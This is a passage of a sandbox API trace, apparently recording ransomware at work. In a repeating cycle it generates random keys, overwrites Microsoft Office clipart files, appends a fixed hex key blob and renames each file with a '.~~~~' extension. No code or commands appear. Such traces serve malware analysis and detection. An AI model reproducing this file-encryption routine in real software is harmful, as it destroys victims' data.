	[0091.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.358] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.358] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.358] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.358] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.358] CloseHandle (hObject=0x128) returned 1
	[0091.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.~~~~")) returned 1
	[0091.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.359] GetLastError () returned 0x0
	[0091.360] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.361] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.361] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.361] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21135087058) returned 1
	[0091.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa03a85f0, dwHighDateTime=0x1d60e1e)) 
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3827d0
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3827d0 | out: hHeap=0x300000) returned 1
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384960
	[0091.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.361] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.361] GetLastError () returned 0x0
	[0091.361] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.362] GetLastError () returned 0x0
	[0091.363] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff016, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.363] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xfea, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xfea, lpOverlapped=0x0) returned 1
	[0091.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.364] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.364] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.364] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.364] CloseHandle (hObject=0x128) returned 1
	[0091.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.365] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.~~~~")) returned 1
	[0091.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.365] GetLastError () returned 0x0
	[0091.366] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.367] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.367] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.367] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21135682855) returned 1
	[0091.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa03ce750, dwHighDateTime=0x1d60e1e)) 
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382808
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382808 | out: hHeap=0x300000) returned 1
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3849f8
	[0091.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.367] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.367] GetLastError () returned 0x0
	[0091.367] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.368] GetLastError () returned 0x0
	[0091.369] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffde98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.369] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2168, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2168, lpOverlapped=0x0) returned 1
	[0091.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.370] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.370] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.370] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.370] CloseHandle (hObject=0x128) returned 1
	[0091.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.~~~~")) returned 1
	[0091.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.371] GetLastError () returned 0x0
	[0091.372] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.373] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.373] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.373] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21136335587) returned 1
	[0091.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa03ce750, dwHighDateTime=0x1d60e1e)) 
	[0091.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382840
	[0091.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382840 | out: hHeap=0x300000) returned 1
	[0091.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384a90
	[0091.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.374] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.374] GetLastError () returned 0x0
	[0091.374] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.374] GetLastError () returned 0x0
	[0091.376] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdf18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.376] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x20e8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x20e8, lpOverlapped=0x0) returned 1
	[0091.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.377] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.377] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.377] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.377] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.377] CloseHandle (hObject=0x128) returned 1
	[0091.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.378] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.~~~~")) returned 1
	[0091.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.378] GetLastError () returned 0x0
	[0091.379] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.380] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.380] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21137012295) returned 1
	[0091.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa03f48b0, dwHighDateTime=0x1d60e1e)) 
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acb68
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb68 | out: hHeap=0x300000) returned 1
	[0091.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384b28
	[0091.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.381] GetLastError () returned 0x0
	[0091.381] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.381] GetLastError () returned 0x0
	[0091.383] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe13a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.383] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1ec6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1ec6, lpOverlapped=0x0) returned 1
	[0091.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.383] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.383] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.384] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.384] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.384] CloseHandle (hObject=0x128) returned 1
	[0091.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.~~~~")) returned 1
	[0091.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.385] GetLastError () returned 0x0
	[0091.461] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.463] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.463] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.463] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21145290437) returned 1
	[0091.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa04b2f90, dwHighDateTime=0x1d60e1e)) 
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a22f8
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22f8 | out: hHeap=0x300000) returned 1
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384eb8
	[0091.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.463] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.464] GetLastError () returned 0x0
	[0091.464] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.464] GetLastError () returned 0x0
	[0091.466] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd506, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.466] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2afa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x2afa, lpOverlapped=0x0) returned 1
